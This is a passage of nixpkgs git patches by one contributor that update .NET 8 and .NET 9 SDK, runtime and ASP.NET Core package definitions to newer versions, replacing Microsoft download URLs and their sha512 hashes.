-        hash = "sha512-xh80kOf2wtQ72Y35WUo4qZE8n2AWiL8GMbviHVUyml9XMfzEwPa/YNtNjpnwtQcAsYhtNC0fiZqN2+nprpbw0A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-arm64.tar.gz";
+        hash = "sha512-1La1Q5lX9q0xwfiT4+dbToy7Py8dmn+iGukimuZSX8+Y1kO+pMuOeNscUJ49t1t4axI5/S3vIyjplUGisE5XqQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-musl-x64.tar.gz";
-        hash = "sha512-22cIKmvRLSaN+zk9rBLfMWJo5SQBBm5GrtIa3MVaadMQLVegkwvVsOWiDlq89k1J7KmVGLKskS13mgBH02xFvg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-linux-musl-x64.tar.gz";
+        hash = "sha512-rH/FG4C8uSwoIlIIOEksyQjAjQYBFILbOHdtaqxEIASvEKULrOJeLdmGxDC2HKzcGIyqHnJ8WCHO7maaC8sOlQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-osx-arm64.tar.gz";
-        hash = "sha512-iTQiffdr2Iq50nb9qKmrmBy4syAgF8TiY6RLwBzor+X1Pai6BGzFpIQaPeD3IXZ9kJZFWXl9A5cUT07RRv9pHg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-osx-arm64.tar.gz";
+        hash = "sha512-A2Zf9tvfeAW/3rSrm51R8a4fqG5cyKQtPvqPiNFAK+J9Z9F4ihplnMQnrzQX2P1XLg2YUcBNSyzDdOJoKxIgOQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-osx-x64.tar.gz";
-        hash = "sha512-SaXkIpnyK/0qpBb2aXernIdJ0uBGSSVZFebXugmJ1f0lObX+G6QV4fO106sVKBghoHo1853Rwl20mujK0SQn3w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.7/aspnetcore-runtime-9.0.7-osx-x64.tar.gz";
+        hash = "sha512-aHivNpxydhhA7fLc1m1Yz0zdvKYYyfvXI6bW04Gc+sYVCo1yyZ93ESm1TC/z5v8lgFyI5w5d7zAeJChFi370Rg==";
       };
     };
   };
 
   runtime_9_0 = buildNetRuntime {
-    version = "9.0.6";
+    version = "9.0.7";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-arm.tar.gz";
-        hash = "sha512-S1SWWuuF0Ix5WAiFxp1Bt7oP3EeGGPQOOghnPXflmHAiFXso6wRCvgwv9PbmWQaOo9PjlnAQneaCB9O3BroGYw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-arm.tar.gz";
+        hash = "sha512-hdyrtE15/rPwIuZXM7XDsUQWn/y6uWVFgLp6HvvxRY2qkxY5Wm29nMHaw5s066OSnmOhzshPtuVmrREBH63SNA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-arm64.tar.gz";
-        hash = "sha512-JKtB00vn9nGNepSJ4hmD6FfnNIyRQVfo+gSm/fAQ1DqUKpdXwFnYjIY+/Trq7WeB+SjaNVAhxQuWXo0JFQIeoA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-arm64.tar.gz";
+        hash = "sha512-5c/znYwk0eEUEG6lFWPwxkBUgmiJjoNJow1D8G0ix3WV4Gcl4oBzeT3QI7YSrxFYEjRZBuJszix4jwavYT1CUg==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-x64.tar.gz";
-        hash = "sha512-v+JXt6bcBQU6eE06yWbKf9t6Lv1VOOJ8PqgiqrydOiD0SvRIbfEAIaX2TIkyJMLZR+/QZJLR3zcFVW33ZzcSbw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-x64.tar.gz";
+        hash = "sha512-4nO1kq6eHHXpHOO+b08tIxQydpABQeKcZz1GSQEY0BFfbRlormz+1ZjKMA/oibog+gYHh+u1QDCEM1gKPGxc2A==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-musl-arm.tar.gz";
-        hash = "sha512-p5eaEL+BJPg1ELaNn1A2vZKiHjtiX+M0zJcbec4haL3iZe92yS1fkJ4lOf1EOtfxQmUnBkfJh3Bxf8ZmrRW9ng==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-arm.tar.gz";
+        hash = "sha512-/LZMWeR3TNJw2Fbn4FalAjVnyEBI8BJUBGt3ZLanCNWCxK1Uj7XSMexLCzZp6+nOatJNbnrGlRtQtJAHuOuuoQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-musl-arm64.tar.gz";
-        hash = "sha512-R5APJLFh3LJ6agxPrM03KkDgwMXrquFfrqF5CrOiNBT36v8zgUKzRQnAvGHsYylSoHvAutUTfThx/IVTpmz/xQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-arm64.tar.gz";
+        hash = "sha512-9cJCVscL9qQS8iEY6EEp74EKY3hxWeNP4MjSH7vB++0jqBa6lXxlNUbowhUr7KKmpEGTlJwOh9a2pkUdr/s77g==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-musl-x64.tar.gz";
-        hash = "sha512-cK6S/8TNHPB0Ro2Gcaa5fORN68yvckvLUXr2Vc0uddf5h2OJ49g8pOdF31HpfCsiCbc56inLJN1os02xL1iCfQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-linux-musl-x64.tar.gz";
+        hash = "sha512-B0CcgI2pzRmmTlJeYSm8P43k7zKzCHAel6ixQweB7bP4Y7Ds6a+tBIhyce4zIXEA9Rn5bYn+2UIAsGESrPrESg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-osx-arm64.tar.gz";
-        hash = "sha512-2nyZR+f4EqWnQxy11effGy+EwifLfEim/69B8saam3NhlIIgcKBQup5RZt51moFfQ+BtmdOF6Xc3BXyls1HUVQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-osx-arm64.tar.gz";
+        hash = "sha512-DesjrHFNrWm/fQxn5CUyVtCEWIG4BcyLnG8gUSg9X5u7AA02MFhSPc5Mc2HCtGABaoZbbWuqWEPJJjWR1TnrIA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-osx-x64.tar.gz";
-        hash = "sha512-V2g2mCQAFs3NyNUwLoPRSKgg6ILlIe4YFuByXbd7WvHVIgbnAUmgp2KbsRmo5/eU+OgNO4ZvQxbqm4uoFT1Wbw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.7/dotnet-runtime-9.0.7-osx-x64.tar.gz";
+        hash = "sha512-cOtHKrJPOKam6TBmHgmsZjXdoM8FSJkEDCXPMzLyTxy7PuwZ4c/PIhS0ZtAA9t3H1JRIpsYQbDtw/Qv3Bj9ubQ==";
       };
     };
   };
 
   sdk_9_0_3xx = buildNetSdk {
-    version = "9.0.301";
+    version = "9.0.302";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-arm.tar.gz";
-        hash = "sha512-qL8t2zWO4se9evwEDRhCb1ySIGys4FcnmPnOaSXJEN0aST7T41MEyahQmyYhpmRVn/RF0wFK4KA5VZx4ygArQQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-arm.tar.gz";
+        hash = "sha512-iAUAF2q8Jjuf5Nn9Wz93uXU3C8x2rxRTtbd22DUymlqfPgKQPO0+40Ga5vfg6Zy5ZLWFu0MNp11mI9wpZcRggQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-arm64.tar.gz";
-        hash = "sha512-JOIynEDPPkLNHodT2I/ORUvEqau60rAegPMxMKgBEjpTHiJ2c9OBy5cQtxWAXxiP4Ny5gz+30E2rLNk3ofSA7Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-arm64.tar.gz";
+        hash = "sha512-3e1DfINrIBIZ74yxmT5Qw+lqnQnNJUH/4sCBBTDnN9+0StuN12bKovAt7w0LwqycVjoYnxyxympk2fcSUalBQQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-x64.tar.gz";
-        hash = "sha512-dBWiZIQ9PfeL1X+y8XB06BHgsZOXakW01neNPruSZoVMTgN8PN9LU03nuMZHmbDljc6frG8/PGyssylVVdMdTw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-x64.tar.gz";
+        hash = "sha512-/kapbnlDiLNFEF5HiW5OkQmf/ZB6cSf/LK33ats6e+C0PwzY0sN2rkVSg9CPR1H37xGJD9JpcwTvEURHriCciA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-musl-arm.tar.gz";
-        hash = "sha512-0B+cAc5u1sukC0OBsSduuAyqZY8f/I/zrkE2nMSq0DFzn94x5jy0J1A/G3EnRwDPu7jVTzpvOsRQVdkmCsrRWg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-musl-arm.tar.gz";
+        hash = "sha512-9CCSrnlxmzrBNun2NLuBJR11tzVR4NhmHovotd7LI2M/CHf/Hh/GCxZQlIPiC0naycekzGCThI0enaD3xqk8Nw==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-musl-arm64.tar.gz";
-        hash = "sha512-t4Jjj28NFKuRDeOVJ0sWlmTGUrU05HaznSGcVaRtYxTuUdSiykcJvsBFrB6yd/OJspDqxcmmt15QG+QsBxVj9w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-musl-arm64.tar.gz";
+        hash = "sha512-yEsbQZqvLXeLCA4Bnwk3iX3Ipk0GEqPCIDrNy7H/WYhHqHo+w8aI89A6zLIYB1KzybEAQ6YEeDRxUbqzZV3tHw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-musl-x64.tar.gz";
-        hash = "sha512-ggXwZUvRciNkVDWH6dLqQ7CpbsmSXDeR8uf0+wT0paNIyiOGCS6hVkpyfgA05Gd11ClJCeuEBTWNYu6DM9Xcjw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-linux-musl-x64.tar.gz";
+        hash = "sha512-AaATj8XmsF9r939RsiXLtzYGVS8SH3yUfkqcXbRXddQDHXmkrh/G5rO11jiOzSsNUD5UR7Lokv7ZU5oHKOYk3Q==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-osx-arm64.tar.gz";
-        hash = "sha512-NvGut6/yqsEXkZ9Xq61yXInay4eaPDuNQbAVdWAs6y1crYBdPG1noP2gIIskd9DVhmjBMyFTku5lv4hYZXHkPA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-osx-arm64.tar.gz";
+        hash = "sha512-B+gXhllDfXgjAWk6T4Vy5DZt3Wbukyswmo1vAuohNMwVvcKg8dGSS6dW3ORUPXToGI2cUt4KF9Y5qcOTtPTxlA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-osx-x64.tar.gz";
-        hash = "sha512-W7pAH5tkUMDuUd3DlDx5q5LtkYjh1CCAAf+Xr3my+1HbkkNVSMR/6UP2n6PC6I746UCMeCGlnYQyuEN5d3cGXA==";
-      };
-    };
-    inherit commonPackages hostPackages targetPackages;
-    runtime = runtime_9_0;
-    aspnetcore = aspnetcore_9_0;
-  };
-
-  sdk_9_0_2xx = buildNetSdk {
-    version = "9.0.205";
-    srcs = {
-      linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-arm.tar.gz";
-        hash = "sha512-kAAySurNNVyxeALQIFeSW2CVuYp7Mb0G1sSecfky1LEhx1mp//d65A5Id+R1tbcMtx/RSc010P9/wxccasCyJA==";
-      };
-      linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-arm64.tar.gz";
-        hash = "sha512-ykyJxPqbPC0JZrEonkoKGpJrN3jZdPTjISSiGRwruZUrgMPTYjXu5zEDEAI/yfR54FuE+0qGdrl+G09zm34aEA==";
-      };
-      linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-x64.tar.gz";
-        hash = "sha512-344tlaYXBRxEpSRHETcwCGjVK1I8xB6PjTGq3paEB65AbVtuR/SE9gO+UsCm5WdYbw+cFv/CWUTzqPQviMPHgQ==";
-      };
-      linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-musl-arm.tar.gz";
-        hash = "sha512-2WtVOm0dkME4LIDdpo3UIA+1fMNA84wSdYBlOugmdc2Z7zu2W38VP0OdQjQQJepOARYpRNiNpQuNdXv2qHFs/Q==";
-      };
-      linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-musl-arm64.tar.gz";
-        hash = "sha512-l4LgozcmzOAb9oqEMcf+z67rqt4heW7wBBfC+Qch/00554WekejNZur0wGbpAZ98C8rKmESzcBTC6c5BYkuWRg==";
-      };
-      linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-musl-x64.tar.gz";
-        hash = "sha512-zmsD+9lVviKgVRyGFPVsBOyA3iFDdeal3sLMm2xk+NbTDxha2NjO9C0FXPiZqliCF/10xvsNUbE4tqMn+APkkA==";
-      };
-      osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-osx-arm64.tar.gz";
-        hash = "sha512-nHUwIcJqAXjPu096LPS+ZeLvHGzmiRLFk2x8yZKwJg8UpEkAdzFMNjdE9Svpb0MvFpg4ot9LXdAL09P/mFW0oQ==";
-      };
-      osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-osx-x64.tar.gz";
-        hash = "sha512-7kuNG2Gwj9z+mM320ctGNUroIDsSVgxz55hkid/NhcXBhusIXuRNavkKCnAsvQxc4dnrTx4NSTPrBD6ztvY7KA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.302/dotnet-sdk-9.0.302-osx-x64.tar.gz";
+        hash = "sha512-EKhj7wgCBRBiWVhHHM5Ni0cN7TjF/JvMcilcYGa8ClqtmtIsW0ta0BXo1dw9syjftoLpB2YwDNlQLBcbXZMCRw==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -564,39 +523,39 @@ rec {
   };
 
   sdk_9_0_1xx = buildNetSdk {
-    version = "9.0.107";
+    version = "9.0.108";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-arm.tar.gz";
-        hash = "sha512-Netr9KteJY5TUHInT3Cq79H7KV60TTK1tCCG9yFhUjlPsKgqe+Ec2IPB1XQK1/CICfL52/zovADlok10bcZAeQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-arm.tar.gz";
+        hash = "sha512-FliKnG0DCOC2kqy4VHZMQvGuldzdpDebRKLZPIlwxcl0W0b7QITuwpYeknqloxI7fdO1RtAP14epsGza6/mG/w==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-arm64.tar.gz";
-        hash = "sha512-+j6JtbaaUAOOnsKttWoW1QZPxaCAG6jlZ2ouECprsiDU+duEvkm3RCFLOOWDyCmGMyROu09HyGT9fofq+xN2hQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-arm64.tar.gz";
+        hash = "sha512-laP4pmKWsjrs2GyiluK9FHzzluL2p7bGvnlbcN8kEdYWPfFeKKa7JiSOILYZwXlN3Fux39Lwp9Xh5YqdLUU5gg==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-x64.tar.gz";
-        hash = "sha512-WI6GA9vlFMIw7bAwfJhSLL1hUKN0JC3GphZ/m+h5MTqKKJUwUoKGV4TqopbI3ujL3gpnntuNy/etqmwfegtiBg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-x64.tar.gz";
+        hash = "sha512-jC2YjpmLkGxxaEy+muycvytlyzHtjD6xWm5l+WGwMfrroy1xmX9Q1W4E5vAIH4YEgHItwWk8awFVQ+thrNtYdg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-musl-arm.tar.gz";
-        hash = "sha512-aGe+uyjP8y4e+/guk4P1mY0QlrCe5exYdRe1LAcAmQS0tLK83lSr3RBXQYGOalCr3DsVWBbsgsYdVZOnzpE71g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-arm.tar.gz";
+        hash = "sha512-Qa5oViep0n/EsZom8OdgEVOEkDq7LjkZxPgCe6PnWotANLLpl1Zfd5nq4ZOFED/aHhMbI8F2oWBXiLvL31/BEQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-musl-arm64.tar.gz";
-        hash = "sha512-jBd0X3G3xZmwm3VGzQ4gm89vz7R91Ie1lDSme+uvVPI6lWlO0wcpAlbeeA8iV9L1oAgCGTHx2kzJkKn1AHzVhg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-arm64.tar.gz";
+        hash = "sha512-L8eGZ6/7dXpwcXWjsMVXmF4s6TCnUD9KqE8gsILZiGo1oPDfVLoZAteLAtYY+3yImdxOqZaY6tQ8fMVlz1X/2A==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-musl-x64.tar.gz";
-        hash = "sha512-JwIJpXfq2TOHOP17WlXmLoPHOpI/n9gfSXcdCtNt8fQaD6ThkkdXFD4V8bQQUioi0VksixaWrehVRH8eaIISdA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-linux-musl-x64.tar.gz";
+        hash = "sha512-CmB51ISh0QT2+vBf7OJTUOnBi0lNy6M4aNkpTHwubJNuehnogsZadXezZ4xCHkDftpHqlQSmfWWqjVuJK5cxjA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-osx-arm64.tar.gz";
-        hash = "sha512-DBGIKo5yDOekc/y8WQYZKqFO6HR+Gnis1Vz6CwozcZQJPmDVOodSf6Ph59QgqrwzLTq2qwntbrtcxr+hec71cQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-osx-arm64.tar.gz";
+        hash = "sha512-EeZLhqfvjyPAsLdoE1f//OjirZo42SgDeKYbnxUlssN1QTcM1VmL3iu8EkUftbnzklHF7LIORgbBNDSYu+MHEA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-osx-x64.tar.gz";
-        hash = "sha512-7DDDGmtizw3ONqaIK3E2T+dObWNaQ3sM6auA9Udw4mwAys69YqFGoeJUWRO611yLxTjl1TdO9Np3JdkpLD4p3w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.108/dotnet-sdk-9.0.108-osx-x64.tar.gz";
+        hash = "sha512-knxa6JTbG9pShc3eoC9zzVWtPuSfE0iqFeMoiWOxymlQEvzlH8f6DCV0Tvty+c8Rzc9nqBzZ4EAI+N3gg7zfYg==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 10b94aefe1db220a6bd926ff9f094f9de13e7c10 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Fri, 11 Jul 2025 11:33:50 +0000
Subject: [PATCH 2309/4511] dotnetCorePackages.dotnet_9.vmr: 9.0.6 -> 9.0.7

(cherry picked from commit f1decc9abe9fa3ae29d84e8b8ee84613220025ff)
---
 .../development/compilers/dotnet/9/release-info.json |  2 +-
 pkgs/development/compilers/dotnet/9/release.json     | 12 ++++++------
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/9/release-info.json b/pkgs/development/compilers/dotnet/9/release-info.json
index 0650ebbfee32..7ed8811d305a 100644
--- a/pkgs/development/compilers/dotnet/9/release-info.json
+++ b/pkgs/development/compilers/dotnet/9/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-jyXUjn7AqUswtwLBkO54YJo0hSDuvvMsHmv6GW8p15Q=",
+  "tarballHash": "sha256-9oGCuV+kQe+2Oypxyj+YSYtmTo2BlkaQzk7E+FWYGkQ=",
   "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.9.0.106-servicing.25230.1.centos.9-x64.tar.gz",
   "artifactsHash": "sha256-z45Rk63ad5VL5pslOUktewJQOHYLQlOgz/ZiT9v/UNo="
 }
diff --git a/pkgs/development/compilers/dotnet/9/release.json b/pkgs/development/compilers/dotnet/9/release.json
index e9e6003512b9..13305a8e6a09 100644
--- a/pkgs/development/compilers/dotnet/9/release.json
+++ b/pkgs/development/compilers/dotnet/9/release.json
@@ -1,10 +1,10 @@
 {
-  "release": "9.0.6",
+  "release": "9.0.7",
   "channel": "9.0",
-  "tag": "v9.0.6",
-  "sdkVersion": "9.0.107",
-  "runtimeVersion": "9.0.6",
-  "aspNetCoreVersion": "9.0.6",
+  "tag": "v9.0.7",
+  "sdkVersion": "9.0.108",
+  "runtimeVersion": "9.0.7",
+  "aspNetCoreVersion": "9.0.7",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "3b2a975be6836979a19db7625a972b46a36efaeb"
+  "sourceVersion": "2d8506e0fc69ec3d8e92eb3090e18fdb5f8636f5"
 }

From e77831af19c9fd6365b02d9bb03edcc0cd134ea9 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Fri, 11 Jul 2025 11:45:44 +0000
Subject: [PATCH 2310/4511] dotnetCorePackages.dotnet_8.vmr: 8.0.17 -> 8.0.18

(cherry picked from commit 93a23fe32c0d6fe8960da2cb65a1315ac20cc175)
---
 .../compilers/dotnet/8/bootstrap-sdk.nix      | 552 +++++++++---------
 pkgs/development/compilers/dotnet/8/deps.json |  48 +-
 .../compilers/dotnet/8/release-info.json      |   6 +-
 .../compilers/dotnet/8/release.json           |  12 +-
 4 files changed, 309 insertions(+), 309 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
index 876b5de1c060..c5d22612954c 100644
--- a/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
@@ -11,43 +11,43 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "8.0.16";
-      hash = "sha512-MR9FAOeqTC6UU2XS6s85l1wtrEQBn7/3nT/j2NoSEmxaYC5C8sJQQruOgm2RsLbNltiykKWQhutv9YJtZdsfnA==";
+      version = "8.0.17";
+      hash = "sha512-7CBEGt44FE1zkTlbWuztY05SgJsBe4NTVQUOgCCEb6Y/SwHW3hcBP/H7Jxt5rWBCmVB3Gn8THi+fldHe+g3V+w==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "8.0.16";
-      hash = "sha512-aALkqzq7+6p6/yXuUgiGinbvn6JaG+OCe95pSGM+yxtqMYCYmzX31n6kU9OPTn9VdgzW8Xs/ZDIlzAvBRC8JJg==";
+      version = "8.0.17";
+      hash = "sha512-3d/oVZzNM1+MSLPNdeassLrOlgZuFcSEZ8z9JjofhRdPSLZwVPuYiX48ylLlyXiY6WdMGn6i2kcHI3NUZ7TQmw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "8.0.16";
-      hash = "sha512-vEEL6YBpGBdlV4x8i/p/KFJrNIBG3az+5ht8RQW3YIw+WmCL1QVRkiPEvXVSSmEkaPJrH8c8mMl818AE/S5CWg==";
+      version = "8.0.17";
+      hash = "sha512-SVpn42wW9M6HI16kOeaM09nw2SlZsgsZCHTzBPBGrVRDblwcUV7U6MxMgH9XwrqSTziAZgLhIwR2BHvHwvoxWw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHost";
-      version = "8.0.16";
-      hash = "sha512-LYLsVR9dlV8GsIXn4uvX9l0JitGP/YqtYiTp7JiTN3wqvlaBLDwocZ3GBOwDiASzlmyu38oDtDLbF75ohEELvg==";
+      version = "8.0.17";
+      hash = "sha512-Hh4MgVIOGGWATWiysB1uCATWEW/nwNaYtQcTpkVJ/NBJmzVrwx/GQQBYe0uZwiRQ8npGEBvouS0tha/5zjIcPQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostPolicy";
-      version = "8.0.16";
-      hash = "sha512-52G/zHYDyNRghtFkuOo6I9pXwsd7qkzH9WLKmOVdC+X0LXKDprE7YISR4EuiErNc0OE1qKhCNdhjyr6W2c4PMg==";
+      version = "8.0.17";
+      hash = "sha512-KzLfeiD/vvTNuuWwq+yzUP0anje9vbqC+COuV1lgsD25zyUAyJwYthDVyhYdZ07aZNs7V1bx8yoMcUUL+ql3sw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostResolver";
-      version = "8.0.16";
-      hash = "sha512-R/LLslGX8t8qwOGsWReybSsGiXuKCdOSdH5Pb6VBiuqgCuygU2rLCZPdN2dNH1WcPqAPFJFW3fcjdc9J3mElhQ==";
+      version = "8.0.17";
+      hash = "sha512-490ItCA3f0tB89YK/p9mf6UB7w8tNusrjUYRpzXomG9TtOScyKaFmSxvRHaaeWGT/bbOpaitLSaWKKnnAxFKkw==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "8.0.16";
-      hash = "sha512-OEv1V1AQb892jWtsrylFlewn9SDwdxRDSCSmhDcpJOqz39CBgg0zEH/dM+LtWMne/uwMBtN8Kt4oUEfHKzWblg==";
+      version = "8.0.17";
+      hash = "sha512-47EF7FIww1odYFPgGkZdkbazfOhxVCH5VfvU89ht52DzsdeRun+u53SKRRQewcku3M76JXlPAUaWYF9YEbRhKw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "8.0.16";
-      hash = "sha512-Pz3s0acdPIqpr6H45samMDpqa25Mg/DXcrlRfVySBCznpNI613r3MnMjCiSzYaDhi4HbvTl0+dkFcUtccmQ6Bg==";
+      version = "8.0.17";
+      hash = "sha512-P3X61aknNd61nNPPeRvxZmKaX35fNrlmcZ6f2EqSmRFjSmVaZRY5AW1jHx+P3zyc+f5sKVvSDSe+cBwM6sIsKQ==";
     })
   ];
 
@@ -55,118 +55,118 @@ let
     linux-arm = [
       (fetchNupkg {
